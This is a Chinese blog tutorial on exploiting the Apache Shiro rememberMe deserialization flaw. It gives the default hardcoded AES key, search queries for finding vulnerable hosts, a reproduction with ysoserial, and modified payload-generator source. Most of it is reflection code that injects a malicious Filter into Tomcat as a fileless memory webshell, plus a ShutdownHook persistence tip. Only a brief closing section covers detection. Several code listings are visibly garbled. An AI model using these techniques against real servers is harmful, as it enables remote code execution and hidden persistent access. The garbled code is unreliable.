Shiro反序列化漏洞

漏洞介绍

![](https://img-blog.csdnimg.cn/20200714162706459.png)

上图为Shiro默认的登录页面,页面可见:Shiro提供了记住我(RememberMe)的功能。

然而,Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行:序列化AES加密Base64编码,三个操作。

而在识别身份的时候,则需要对Cookie里的rememberMe字段进行逆操作:

  1. Base64解码
  2. AES解密
  3. 反序列化

由于AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。

因此,攻击者完全可以构造一个恶意的Class对象,并对其序列化AES加密Base64编码,然后作为cookie的rememberMe字段发送给Shrio。Shiro将rememberMe进行解密并且反序列化,最终造成 反序列化攻击

PS:
Shiro默认的密钥Key统一为kPH+bIxk5D2deZiIxcaaaA==,同时就算被人为修改过密钥key,也可以通过Padding Oracle来进行爆破!
.
因为我们知道padding只能为:
data 0x01 或者
data 0x02 0x02 或者
data 0x03 0x03 0x03 或者
data 0x04 0x04 0x04 0x04 或者
data 0x05 0x05 0x05 0x05 0x05 或者
……
那如果出现以下这种padding的时候会怎么样呢?
data 0x05 0x05 // 正常来说这个padding应为data 0x05 0x05 0x05 0x05 0x05
.
那解密之后的检验就会出现错误,因为padding的位数和padding内容不一致。
.
如果这个服务没有catch这个错误的话那么程序就会中途报错退出,表现为:如http服务的status code为500。那么这里就给了我们一个爆破的机会!

影响范围

影响版本:

  • Shiro-550反序列化漏洞:Apache Shiro < 1.2.4
    特征判断:返回包中包含rememberMe=deleteMe字段
  • Shiro-721反序列化漏洞:Apache Shiro < 1.4.2

Google Hacking:

  • header=”rememberme=deleteMe”
  • app=”Apache-Shiro”

漏洞复现

0x01 环境准备

  • 被攻击网站源码(一个shrio-demo):samples-web-1.2.4.war
  • 反序列化工具(神器):ysoserial-0.0.6-SNAPSHOT-all.jar
  • Payload构造小工具(将反序列化payload进行AES加密、Base64编码):poc.py
  • 其他:Tomcat8、Fiddller5(或brup)

以上打包下载地址:https://download.csdn.net/download/localhost01/12618762

0x02 攻击实现

1、将samples-web-1.2.4.war扔到Tomcat8

2、打开Fiddler开启抓包,同时任意点击上面网站链接(如图中的account page链接)

3、构造payload

4、将payload.cookie的内容扔到cookie,并重放执行

如上,可以看到正确执行了notepad.exe命令,成功弹出了记事本!

然而默认GitHub下载下来的 ysoserial-0.0.6-SNAPSHOT-all.jar 只支持键入 cmd命令 (即命令执行)。

而如果想要实现下面所说的内存马,我们是需要编写代码让目标程序执行的(即代码执行),因此我们还需要将 ysoserial源码 下载下来,进行部分修改,并重新打包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

String cmd = "";
//如果以code:开头,认为是代码,否则认为是命令
if (!command.startsWith("code:")) {
cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";}
else {
System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
cmd = command.substring(5);
}

clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byt ![] classBytes = clazz.toBytecode();

Reflections.setFieldValue(templates, "_bytecodes", new byt ![][] { classBytes, ClassFiles.classAsBytes(Foo.class)

5、重新构造payload

6、将payload.cookie扔到cookie,并重放执行

内存马的实现

什么是内存马,内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。

那么如何实现呢,我们就需要了解一下Filter!

Filter介绍

0x01 Filter工作原理


我们知道Web程序的核心配置:web.xml里面包含有 ListenerFilterServlet 等组件,而 Filter 程序是一个实现了特殊接口的 Java 类。

它与 Servlet 类似,也是由 Servlet 容器进行调用和执行的,一般用于进行请求过滤,如权限控制编码/敏感过滤等等。

当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行预修改。

0x02 Filter 链

在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。如果有多个 Filter 对某个 Servlet 程序的访问过程进行拦截,那么当针对该 Servlet 的访问请求到达时,Web 容器将把这多个 Filter 程序组合成一个 Filter 链(也叫过滤器链)。

Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将激活下一个 Filter.doFilter() 方法。

最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将激活目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

0x03 Tomcat中Filter流程

用户在请求 Tomcat 资源的时候,会调用 ApplicationFilterFactory.createFilterChain() 方法,根据 web.xml 的 Filter 配置,去生成 Filter链

主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
filterChain.setServlet(servlet);
filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMa ![] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
String servletName = wrapper.getName();
FilterMa ![] arr$ = filterMaps;
int len$ = filterMaps.length;

int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
boolean isCometFilter;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
isCometFilter = false;
if (comet) {
try {
isCometFilter = filterConfig.getFilter() instanceof CometFilter;
} catch (Exception var21) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
ExceptionUtils.handleThrowable(t);
}

if (isCometFilter) {
//添加Filter
filterChain.addFilter(filterConfig);
}
} else {
//添加Filter
filterChain.addFilter(filterConfig);
}
}
}
}

解读:

  1. 首先获取当前context,并从context中获取FilterMaps。FIlterMaps的数据结构如下:

    我们可以看到,FilterMaps存放了所有的 Filter的名称需拦截的url正则表达式

  2. 遍历FilterMaps中每一个FilterMap,调用 matchFiltersURL() 这个函数,去确定请求的 urlFilter需拦截的正则表达式是否匹配。

  3. 如果匹配,则通过 context.findFilterConfig() 方法根据 filter 对应的名称去查找 context.filterConfigs中的 filterConfig,随后将 filterConfig 添加到 Filter.chain中。

    filterConfig的数据结构如下:

    可以看到,其实 filterConfig 里面包含有 filterDef 对象,而filterDef 对象里面即是真正的 Filter

所以整体层级结构为:context->filterConfigs(Map)->filterConfig->filterDef->Filter

下面我们看一下ApplicationFilterChain.internalDoFilter方法,简化后的代码如下:

1
2
3
4
5
6
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
Filter filter = null;
filter = filterConfig.getFilter();
this.support.fireInstanceEvent("beforeFilter", filter, request, response);
filter.doFilter(request, response, this);
this.support.fireInstanceEvent("afterFilter", filter, request, response);

这里我们可以清楚看到:从刚才的 FilterChain 中,遍历每一个 FilterConfig,然后拿出 FIlterConfig 对应的 filter,最后调用我们熟悉的 filter.doFilter() 方法。

可以用如下流程图来方便我们理解这个过程:

可以看出,如果需要动态注册一个 Filter,结合上面的分析,只需要:
反射修改 context 相关字段,将自创建的 Filter 放到 context.filterConfigs 属性中,并在 context.filterMaps 中增加一个 filterNameURL 的映射,即可完成动态注册一个Filter。

好消息是,context已经帮我们实现了相关方法,我们就没有必要去通过反射等手段去修改,如下:

编写恶意Filter

编写 MyPayloadFilter.java

payload,自由发挥编写,这里就不说了~

将恶意Filter加载到JVM内存

这里需要将我们写好并编译好的MyPayloadFilter.class,通过反序列化漏洞加载到被攻击程序的JVM内存中,这样下一步class.forName()才能拿到这个恶意Filter动态注入到Tomcat

那么如何将外部class文件加载到内存中呢?

在这里我们先学习以下class.forName()这个方法,查看openjdk的相关源码https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374

class.forName会获取调用方的classloader,然后调用forName0(),从调用方的 classloader 中查找要查找的类。

当然,这是一个native方法,精简后源码如下https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104

1
2
3
4
5
6
7
8
9
10
 Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
jboolean initialize, jobject loader, jclass caller)
{
char *clname;
jclass cls = 0;
clname = classname;

cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
return cls;
}

JVM_FindClassFromClassler的代码在如下位置:
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
jboolean init, jobject loader,
jclass caller))
JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");

TempNewSymbol h_name =
SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
CHECK_NULL);

oop loader_oop = JNIHandles::resolve(loader);
oop from_class = JNIHandles::resolve(caller);
oop protection_domain = NULL;
if (from_class != NULL && loader_oop != NULL) {
protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
}

Handle h_loader(THREAD, loader_oop);
Handle h_prot(THREAD, protection_domain);
jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
h_prot, false, THREAD);

return result;
JVM_END

主要是获取 protectDomain 等相关信息。然后调用 find_class_from_class_loader,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13

jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
Handle loader, Handle protection_domain,
jboolean throwError, TRAPS) {

Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);

// Check if we should initialize the class
if (init && klass->is_instance_klass()) {
klass->initialize(CHECK_NULL);
}
return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}

注意:这里的Klass就相当于Java的class

SystemDictionary::resolve_or_fail 后续会调用 SystemDictionary::resolve_or_null

1
2
3
4
5
6
7
8
9
10
klassOop SystemDictionary::resolve_or_null(symbolHandle class_name, Handle class_loader, Handle protection_domain, TRAPS) {
assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread");
if (FieldType::is_array(class_name())) {
// 1. 如果是数组的话
return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
} else {
// 2. 如果是普通类的话
return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
}
}

对于咱们来讲,MyPayloadFilter.class 肯定不是数组。

所以我们主要来分析 systemDictionary::resolve_instance_class_or_null。代码如下:

1
2
3
4
5
6
7
8
class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
ClassLoaderData* loader_data = register_loader(class_loader);
Dictionary* dictionary = loader_data->dictionary();
unsigned int d_hash = dictionary->compute_hash(name);
{
InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
if (probe != NULL) return probe;
}

注意:

  • SystemDictionaryDictionary关系

    SystemDictionary 是用来帮助保存 ClassLoader 加载过的类信息的。准确点说,SystemDictionary 并不是一个容器,真正用来保存类信息的容器是 Dictionary,每个 class_loader 的 ClassLoaderData 中都保存着一个私有的 Dictionary,而 SystemDictionary 只是一个拥有很多静态方法的工具类而已,如上的systemDictionary::resolve_instance_class_or_null()SystemDictionary::resolve_or_null()等,都是该工具类提供的静态方法;

  • class_loaderdictionary 在Java中的体现

    这里的 class_loader 就类似Java的 ClassLoader; dictionary 就相当于 ClassLoader 中的 classes 属性,里面存储了所有加载JVM中的class类!

最终通过 dictionary->find() 方法去查到需查询的类。那么对应Java来看,其实也就是查找 classloaderclasses 属性集里面的 class类

因此,我们只需要将class文件写入到 classloader.classes 属性中即可!

网上说,需要先使用 defineClass(),将 网络传输过来的恶意 class byte数组 转换为 class类,再使用反射将 class类 写入到 classloader 的 classes 字段!

其实我测试是不需要的,defineClass() 底层会自动将class类加载到 classloader 的 classes 字段,如下为 defineClass 的底层实现:

实测:调用defineClass()方法之前

实测:调用defineClass()方法之后

因此,整个实现为:

1
2
3
4
5
6
7
8
9
10
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();

String codeClass = base64AndCompress("[MyPayloadFilter.class]");

ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass()
.getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byt ![].class, int.class, int.class);

Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass))
, 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);

上面我们看到有一个 base64AndCompress() 方法:

如果我们直接将MyPayloadFilter.class作为参数进行HTTP请求,会因为payload过大,而超过tomcat的限制,导致tomcat报400 bad request错误。因此我们需要缩小我们动态加载 Filter 的 payload大小

将恶意Filter动态注入到Tomcat

0x01 获取context
可通过MBean的方式去获取当前context,我们查看一下tomcat的MBean:

伪代码(具体需要使用反射获取下面的各个属性):

1
Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples-web-1.2.4,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context

当然,还有很多种办法,这里只是一个例子。

0x02 实例一个FilterMap,用于建立url与Filter名字的映射
FilterMap 的作用建立 urlFilter名字 的关系。在这里我们需要设置我们的恶意filter 都拦截哪些url。代码如下:

1
2
3
4
5
6
7
Object filterMap = Class.forName("FilterMap").newInstance();
Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
filterMapaddURLPattern.invoke(filterMap, "/*");

//设置filter的名字为testFilter
Method setFilterName= Class.forName("FilterMap").getMethod("setFilterName", String.class);
setFilterName.invoke(filterMap, "testFilter");

0x03 实例一个FilterDef
首先我们实例化一个FilterDef,FilterDef的作用主要为描述Filter名字与Filter实例的关系。同时后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef:

1
2
3
4
5
6
7
8
9
10
11
Object filterDef = Class.forName("FilterDef").newInstance();

// 1.设置过滤器名字
Method setFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
setFilterName.invoke(filterDef, "testFilter");

// 2.设置过滤器实例
Method setFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);
//通过class.forname拿到我们的攻击Filter
Class payloadFilter = Class.forName("MyPayloadFilter");
setFilter.invoke(filterDef, payloadFilter.newInstance());

0x04 实例一个FilterConfig(FilterDef为构造参数),并添加至context的filterConfigs属性中
这里很简单,最后我们需要添加ApplicationFIlterConfig就可以了,代码如下

1
2
3
4
5
Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
Constructor<? ![] filterConfigCon =
Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
filterConfigs.put("testFilter", filterConfigCon[0].newInstance(context, filterDef));

以上代码即可将一个恶意Filter注入到Tomcat!

另外网上还有一些 不死WebShell 的方法,如通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的。

ShutdownHook是JDK提供的一个用来在JVM关掉时清理现场的机制,这个钩子可以在如下场景中被JVM调用:
1.程序正常退出
2.使用System.exit()退出
3.用户使用Ctrl+C触发的中断导致的退出
4.用户注销或者系统关机
5.OutofMemory导致的退出
6.Kill pid命令导致的退出
ShutdownHook可以很好的保证在tomcat关闭时,让我们有机会埋下复活的种子!

如何查看恶意Filter

1、打开JvisualVM(需安装MBean插件):

2、tomcat->Catalina/Filter节点,检查是否存在我们不认识的、没有在web.xml中配置或filterClass为空的Filter,如图:

参考:

更多文章,请关注:开猿笔记